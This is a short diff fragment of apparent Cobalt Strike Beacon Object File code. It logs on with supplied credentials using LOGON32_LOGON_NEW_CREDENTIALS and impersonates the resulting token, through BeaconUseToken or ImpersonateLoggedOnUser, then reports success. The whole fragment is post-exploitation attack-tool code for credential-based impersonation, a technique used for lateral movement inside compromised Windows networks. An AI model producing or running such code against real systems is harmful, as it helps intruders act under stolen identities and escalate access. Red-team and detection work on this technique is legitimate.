if(!ADVAPI32$LogonUserW(creds, NULL, NULL, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &hToken)) { BeaconPrintf(CALLBACK_ERROR, "Failed to Logon: %d", KERNEL32$GetLastError()); return; } + #ifdef COBALTSTRIKE + BeaconUseToken(hToken); //This does not appear to properly show the correct user currently, but leaving it for when CS fixes it. + #else if(!ADVAPI32$ImpersonateLoggedOnUser(hToken)) { BeaconPrintf(CALLBACK_ERROR, "Failed to impersonate: %d", KERNEL32$GetLastError()); return; } + #endif + BeaconPrintf(CALLBACK_OUTPUT, "success"); }